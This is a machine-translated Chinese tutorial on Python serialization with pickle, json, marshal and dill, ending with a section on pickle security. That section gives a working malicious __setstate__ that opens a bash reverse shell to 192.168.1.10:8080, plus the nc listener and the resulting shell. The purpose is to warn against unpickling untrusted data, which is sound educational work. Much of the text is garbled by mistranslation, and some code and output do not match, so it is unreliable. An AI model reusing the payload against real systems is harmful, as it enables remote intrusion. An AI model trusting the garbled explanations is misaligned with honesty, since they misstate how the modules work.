開發人員有時可能希望通過網路發送一些複雜的對象命令,並將對象的內部狀態保存到磁碟或資料庫中,以便以後使用。為了實現這一點,開發人員可以使用標準庫支持的序列化過程,這是 Python pickle
模塊的原因。
在本教程中,我們將討論對象的序列化和反序列化,以及用戶應該使用哪個模塊來序列化 python 中的對象。對象的種類可以通過使用 python 中的 pickle
模塊來序列化。我們還將解釋如何使用 pickle
模塊序列化對象層次結構,以及開發人員在從不受信任的來源反序列化對象時可能面臨哪些風險?
Python 中的序列化
序列化的過程是將數據結構轉換成線性形式,可以通過網路存儲或傳輸。
在 Python 中,序列化允許開發人員將複雜的對象結構轉換成可以保存在磁碟中或可以通過網路發送的位元組流。開發者可以把這個過程稱為編組。而反序列化是序列化的反向過程,用戶獲取位元組流並將其轉換為數據結構。這個過程可以稱為解組。
開發人員可以在許多不同的情況下使用序列化。其中之一是在處理完訓練階段後保存神經網路的內部狀態,這樣他們以後就可以使用該狀態,而不必再次進行訓練。
在 Python 中,標準庫中有三個模塊,允許開發人員序列化和反序列化對象:
- 泡菜模塊
- 編組模塊
- json 模塊
Python 還支持 XML ,開發人員可以使用它來序列化對象。
json 模塊是三個模塊中的最新模塊。這允許開發人員在標準 JSON 文件旁邊工作。Json 是最適合也是最常用的數據交換格式。
選擇 JSON 格式的原因有很多:
- 它是人類可讀的
- 它是獨立於語言的
- 它比 XML 更輕
使用 json Module,開發人員可以序列化和反序列化不同的標準 Python 類型:
- 目錄
- 字典
- 線
- (同 Internationalorganizations)國際組織
- 元組
- 彎曲件
- 漂浮物
- 沒有人
這三個模塊中最老的模塊是封送模塊。它的主要目的是讀寫 Python 模塊的編譯位元組碼。解釋器導入 Python 模塊時開發人員得到的 pyc 文件。因此,開發人員可以使用封送模塊來序列化不建議使用的對象。
Python 的 pickle
模塊是 Python 中序列化和反序列化對象的另一種方法。這不同於 json 模塊。該對象以二進位格式序列化,其結果不可讀。儘管如此,它比其他類型更快,並且可以與許多其他 python 類型一起工作,包括開發人員的自定義對象。
因此,開發人員可以使用許多不同的方法來序列化和反序列化 Python 中的對象。總結哪種方法適合開發人員的情況的三個重要準則是:
- 不要使用封送模塊,因為它主要由解釋器使用。官方文檔警告說,Python 的維護者可以修改向後不兼容類型的格式。
- 如果開發人員想要與不同語言和人類可讀格式的互操作性,XML 和 json 模塊是安全的選擇。
- Python
pickle
模塊是所有剩餘案例的最佳選擇。假設開發人員不想要人類可讀的格式和標準的可互操作的格式。它們需要序列化自定義對象。然後他們可以選擇泡菜模塊。
泡菜模塊內部
python 的 pickle
模塊包含四種方法:
- 轉儲(對象、文件、協議=無,*修復導入=真,緩衝回調=無)
- 轉儲(對象,協議=無,*修復 導入=真,緩衝區 回調=無)
- 載入(文件,* fix _ imports = True,編碼=「ASCII」,錯誤=「嚴格」,緩衝區=無)
- 載入(bytesobject,* fix imports = True,編碼=「ASCII」,錯誤=「嚴格」,緩衝區=無)
前兩種方法用於酸洗過程,後兩種方法用於拆線過程。
dump()和 dump()的區別在於 dump()創建包含序列化結果的文件,而 dump()返回字元串。
對於 dump()和 dump()的區別,開發人員可以記住,在 dump()函數中,「s」代表字元串。
相同的概念可以應用於 load()和 loads()函數。load()函數用於為取消鎖定過程讀取文件,loads()函數對字元串進行操作。
假設用戶有一個名為的自定義類,例如 _class ,它有許多不同的屬性,每個屬性都有不同的類型:
- 數字
- 字元串
- 列表
- 字典
- 元組
下面的示例解釋了用戶如何實例化該類並提取實例來獲取普通字元串。對類進行酸洗後,用戶可以修改其屬性值,而不會影響酸洗後的字元串。用戶隨後可以在另一個變數中解開之前被腌制的字元串,並恢復腌制類的副本。
例如:
# pickle.py
import pickle
class forexample_class:
the_number = 25
the_string = " hello"
the_list = [ 1, 2, 3 ]
the_dict = { " first ": " a ", " second ": 2, " third ": [ 1, 2, 3 ] }
the_tuple = ( 22, 23 )
user_object = forexample_class()
user_pickled_object = pickle.dumps( user_object ) # here, user is Pickling the object
print( f" This is user's pickled object: \n { user_pickled_object } \n " )
user_object.the_dict = None
user_unpickled_object = pickle.loads( user_pickled_object ) # here, user is Unpickling the object
print(
f" This is the_dict of the unpickled object: \n { user_unpickled_object.the_dict } \n " )
輸出:
This is user's pickled object:
b' \x80 \x04 \x95$ \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \x08__main__ \x94 \x8c \x10forexample_class \x94 \x93 \x94) \x81 \x94\. '
This is the_dict of the unpickled object:
{' first ': ' a ', ' second ': 2, ' third ': [ 1, 2, 3 ] }
示例-
解釋
這裡,酸洗的過程已經正確結束,它將用戶的整個實例存儲在字元串中:b ‘ \ X80 \ x04 \ x95 $ \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x8c \ x08 main \ x94 \ x8c \ x10forexample _ class \ x94 \ x93 \ x94)\ x81 \ x94 ‘完成酸洗過程後,用戶可以更改其原始對象,使 _dict 屬性等於無。
現在,用戶可以將字元串解固定到全新的實例中。當用戶從酸洗對象的過程開始時獲得其原始對象結構的深度副本時。
Python 中 pickle
模塊的協議格式
pickle
模塊是 python 特有的,它的結果只能被另一個 python 程序讀取。雖然開發人員可能正在使用 python,但他們應該知道 pickle
模塊現在已經很先進了。
這意味著,如果開發人員已經用 python 的某個特定版本修改了對象,他們可能無法用以前的版本解除對象的鎖定。
這種兼容性取決於開發人員在酸洗過程中使用的協議版本。
python 的 pickle
模塊可以使用六種不同的協議。拆封最新 python 解釋器的要求與協議版本的高度成正比。
- 協議版本 0 – 是第一個版本。它不像其他協議那樣是人類可讀的
- 協議版本 1 – 它是第一個二進位格式。
- 協議版本 2 – 在 Python 2.3 中引入。
- 協議版本 3 – 在 Python 3.0 中加入。Python 2.x 版本無法解除鎖定。
- 協議版本 4 – 在 Python 3.4 中加入。它支持更大範圍的對象大小和類型,並且是從 Python 3.8 開始的默認協議。
- 協議版本 5 – 在 Python 3.8 中加入。它支持帶外數據,並提高了帶內數據的速度。
要選擇特定的協議,開發人員必須在調用 dump()、dump()、load()或 loads()函數時指定協議版本。如果他們沒有指定協議,他們的解釋器將使用泡菜中指定的默認版本。DEFAULT_PROTOCOL 屬性。
可摘和不可摘的類型
我們已經討論過,python 的 pickle
模塊可以序列化比 json 模塊多得多的類型,儘管並非所有東西都是可挑選的。
可解鎖對象的列表還包含資料庫連接、正在運行的線程、打開的網路套接字以及許多其他內容。
如果用戶被不可拆卸的物體卡住了,那麼他們就沒什麼辦法了。他們的第一個選擇是使用第三部分庫,例如 dill 。
蒔蘿庫可以擴展泡菜的功能。這個庫可以讓用戶序列化更少的常見類型,如帶有 yields 的函數、lambdas、嵌套函數等等。
為了測試這個模塊,用戶可以嘗試修改 lambda 函數。
例如:
# pickle_error.py
import pickle
squaring = lambda x : x * x
user_pickle = pickle.dumps( squaring )
如果用戶試圖運行這段代碼,他們會得到一個異常,因為 python 的 pickle
模塊不能序列化 lambda 函數。
輸出:
PicklingError Traceback (most recent call last)
<ipython-input-9-1141f36c69b9> in <module>
3
4 squaring = lambda x : x * x
----> 5 user_pickle = pickle.dumps(squaring)
PicklingError: Can't pickle <function <lambda> at 0x000001F1581DEE50>: attribute lookup <lambda> on __main__ failed
現在,如果用戶用蒔蘿庫替換 pickle
模塊,他們就能看出區別。
例如:
# pickle_dill.py
import dill
squaring = lambda x: x * x
user_pickle = dill.dumps( squaring )
print( user_pickle )
運行上述程序後,用戶可以看到 dill 庫已經序列化了 lambda 函數,沒有任何錯誤。
輸出:
b' \x80 \x04 \x95 \xb2 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c \ndill._dill \x94 \x8c \x10_create_function \x94 \x93 \x94 ( h \x00 \x8c \x0c_create_code \x94 \x93 \x94 ( K \x01K \x00K \x00K \x01K \x02KCC \x08| \x00| \x00 \x14 \x00S \x00 \x94N \x85 \x94 ) \x8c \x01x \x94 \x85 \x94 \x8c \x1f< ipython-input-11-30f1c8d0e50d > \x94 \x8c \x08< lambda > \x94K \x04C \x00 \x94 ) )t \x94R \x94c__builtin__ \n__main__ \nh \nNN } \x94Nt \x94R \x94\. '
dill 庫還有一個有趣的特性,比如它可以序列化整個解釋器會話。
例如:
squaring = lambda x : x * x
p = squaring( 25 )
import math
q = math.sqrt ( 139 )
import dill
dill.dump_session( ' testing.pkl ' )
exit()
在上面的例子中,用戶啟動了解釋器,導入了模塊,然後定義了 lambda 函數和一些其他變數。然後,他們導入了 dill 庫,並調用 dump_session()函數來序列化整個會話。
如果用戶已經正確運行了代碼,那麼他們將會在當前目錄中獲得 testing.pkl 文件。
輸出:
$ ls testing.pkl
4 [email protected] 1 dave staff 493 Feb 12 09:52 testing.pkl
現在,用戶可以啟動解釋器的新實例,並載入 testing.pkl 文件,以便進行最後一次會話。
例如:
globals().items()
輸出:
dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , ' globals().items() ' ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\Users \\User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , ' globals().items() ' ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , ' globals().items() ' ) ] )
import dill
dill.load_session( ' testing.pkl ' )
globals().items()
輸出:
dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > ) , ( ' _ih ' , [ ' ' , " squaring = lambda x : x * x \na = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' _oh ' , {} ) , ( ' _dh ' , [ ' C:\\ Users\\ User Name \\AppData \\Local \\Programs \\Python \\Python39 \\Scripts ' ] ) , ( ' In ' , [ ' ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math\nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ] ) , ( ' Out ' , {} ) , ( ' get_ipython ' , < bound method InteractiveShell.get_ipython of < ipykernel.zmqshell.ZMQInteractiveShell object at 0x000001E1CDD8DDC0 > > ) , ( ' exit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' quit ' , < IPython.core.autocall.ZMQExitAutocall object at 0x000001E1CDD9FC70 > ) , ( ' _ ' , ' ' ) , ( ' __ ' , ' ' ) , ( ' ___ ' , ' ' ) , ( ' _i ' , ' ' ) , ( ' _ii ' , ' ' ) , ( ' _iii ' , ' ' ) , ( ' _i1 ' , " squaring = lambda x : x * x \np = squaring( 25 ) \nimport math \nq = math.sqrt ( 139 ) \nimport dill \ndill.dump_session( ' testing.pkl ' ) \nexit() " ) , ( ' _1 ' , dict_items( [ ( ' __name__ ' , ' __main__ ' ) , ( ' __doc__ ' , ' Automatically created module for IPython interactive environment ' ) , ( ' __package__ ' , None ) , ( ' __loader__ ' , None ) , ( ' __spec__ ' , None ) , ( ' __builtin__ ' , < module ' builtins ' ( built-in ) > ) , ( ' __builtins__ ' , < module ' builtins ' ( built-in ) > )
p
輸出:
625
q
輸出:
22.0
squaring
輸出:
(x)>
這裡,第一個全局變數是()。item()語句揭示了解釋器處於初始狀態,這意味著開發人員必須導入 dill 庫並調用 load_session()來恢復他們的序列化解釋器會話。
開發人員應該記住,如果他們使用的是 dill 庫而不是 pickle
模塊,那麼這個標準庫不包括 dill 庫。它比泡菜模塊慢。
Dill 庫可以序列化比 pickle
模塊更廣泛的對象,但它不能解決開發人員可能面臨的所有序列化問題。如果開發人員想要序列化包含資料庫連接的對象,那麼他們就不能使用 dill 庫。這是 dill 庫的未序列化對象。
這個問題的解決方案是在序列化過程中排除對象,以便在對象被反序列化後重新初始化連接。
開發人員可以使用 getstate()來定義哪些對象應該包含在酸洗過程中等等。這個方法允許開發人員指定他們想要腌制什麼。如果它們不覆蓋 getstate(),那麼將使用 dict(),這是一個默認實例。
在下面的示例中,用戶用幾個屬性定義了類,然後使用 getstate()排除了序列化過程的一個屬性。
例如:
# custom_pickle.py
import pickle
class foobar:
def __init__( self ):
self.p = 25
self.q = " testing "
self.r = lambda x: x * x
def __getstate__( self ):
attribute = self.__dict__.copy()
del attribute[ 'r' ]
return attribute
user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )
在上面的例子中,用戶已經創建了具有三個屬性的對象,其中一個屬性是 lambda,它是 pickle
模塊的一個不可解鎖的對象。為了解決這個問題,他們在 getstate()中指定了 pickle 的屬性。用戶已經克隆了實例的 whole dict 來定義類中的所有屬性,然後他們刪除了不可鎖定的屬性「r」。
運行此代碼並反序列化對象後,用戶可以看到新實例不包含「r」屬性。
輸出:
{'p': 25, 'q': ' testing '}
但是,如果用戶想要在取消鎖定過程中進行額外的初始化,例如將排除的「r」屬性添加回反序列化的實例。他們可以通過使用 setstate()函數來實現這一點。
例如:
# custom_unpickle.py
import pickle
class foobar:
def __init__( self ):
self.p = 25
self.q = " testing "
self.r = lambda x: x * x
def __getstate__( self ):
attribute = self.__dict__.copy()
del attribute[ 'r' ]
return attribute
def __setstate__(self, state):
self.__dict__ = state
self.c = lambda x: x * x
user_foobar_instance = foobar()
user_pickle_string = pickle.dumps( user_foobar_instance )
user_new_instance = pickle.loads( user_pickle_string )
print( user_new_instance.__dict__ )
在這裡,繞過排除屬性「r」到 setstate(),用戶確保了對象將出現在取消鎖定字元串的 dict 中。
輸出:
{' p ': 25, ' q ': ' testing ', ' r ': < function foobar.__setstate__.< locals >.< lambda > at 0x000001F2CB063700 > }
泡菜對象的壓縮
pickle 數據格式是對象結構的緊湊二進位表示,但是用戶仍然可以通過用 bzip2 或 gzip 壓縮來優化他們的 pickle 字元串。
為了用 bzip2 壓縮腌制的字元串,用戶必須使用 bz2
模塊,該模塊在 python 的標準庫中提供。
例如,用戶已經獲取了字元串,並將對其進行酸洗,然後使用 bz2
模塊對其進行壓縮。
例如:
import pickle
import bz2
user_string = """Per me si va ne la citt dolente,
per me si va ne l'etterno dolore,
per me si va tra la perduta gente.
Giustizia mosse il mio alto fattore:
fecemi la divina podestate,
la somma sapienza e 'l primo amore;
dinanzi a me non fuor cose create
se non etterne, e io etterno duro.
Lasciate ogne speranza, voi ch'intrate."""
pickling = pickle.dumps( user_string )
compressed = bz2.compress( pickling )
len( user_string )
輸出:
312
len( compressed )
輸出:
262
用戶應該記住,較小的文件是以較慢的進程為代價的。
酸洗模塊的安全問題
到目前為止,我們已經討論了如何使用 pickle
模塊來序列化和反序列化 Python 中的對象。當開發人員想要將他們對象的狀態保存到磁碟或通過網路傳輸時,序列化的過程很方便。
雖然,關於 python 的 pickle
模塊,還有一點開發者應該知道的,那就是它不是很安全。如前所述,我們已經討論了 setstate()函數的使用。此方法最適合在取消鎖定過程中執行更多初始化。儘管如此,它也用於在拆線過程中執行任意代碼。
一個開發者沒什麼辦法可以降低風險。基本規則是開發人員永遠不要解開來自不可信來源或通過不安全網路傳輸的數據。為了防止攻擊,用戶可以使用像 hmac 這樣的庫對數據進行簽名,並確保它沒有被篡改。
例如:
看看如何解除篡改泡菜可以暴露用戶的系統給攻擊者。
# remote.py
import pickle
import os
class foobar:
def __init__( self ):
pass
def __getstate__( self ):
return self.__dict__
def __setstate__( self, state ):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')
user_foobar = foobar()
user_pickle = pickle.dumps( user_foobar )
user_unpickle = pickle.loads( user_pickle )
示例-
在上面的例子中,解除鎖定的過程已經執行了 setstate(),它將執行一個 Bash 命令,打開埠 8080 上的 192.168.1.10 系統的遠程 shell。
這就是用戶如何在他們的蘋果電腦或 Linux 盒子上安全地測試腳本。首先,他們必須打開終端,然後使用 nc 命令列出到埠 8080 的連接。
例如:
$ nc -l 8080
這個終端是為攻擊者準備的。
然後,用戶必須在同一計算機系統上打開另一個終端,並執行 python 代碼來拆封惡意代碼。
用戶必須確保他們必須將代碼中的 IP 地址更改為攻擊終端的 IP 地址。執行代碼後,Shell 暴露給攻擊者。
remote.py
現在,攻擊控制台上會出現一個 bash shell。這個控制台現在可以直接在被攻擊的系統上操作。
例如:
$ nc -l 8080
輸出:
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run ` chsh -s /bin /zsh`.
For more details, please visit https://support.apple.com /kb /HT208060.
bash-3.1$
結論:
本文討論了如何使用 python 的不同模塊來序列化和反序列化對象,以及 pickle
模塊為什麼比其他模塊更好。我們還解釋了一些物體是如何無法解開的,以及我們如何避免這些物體帶來的問題。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/245095.html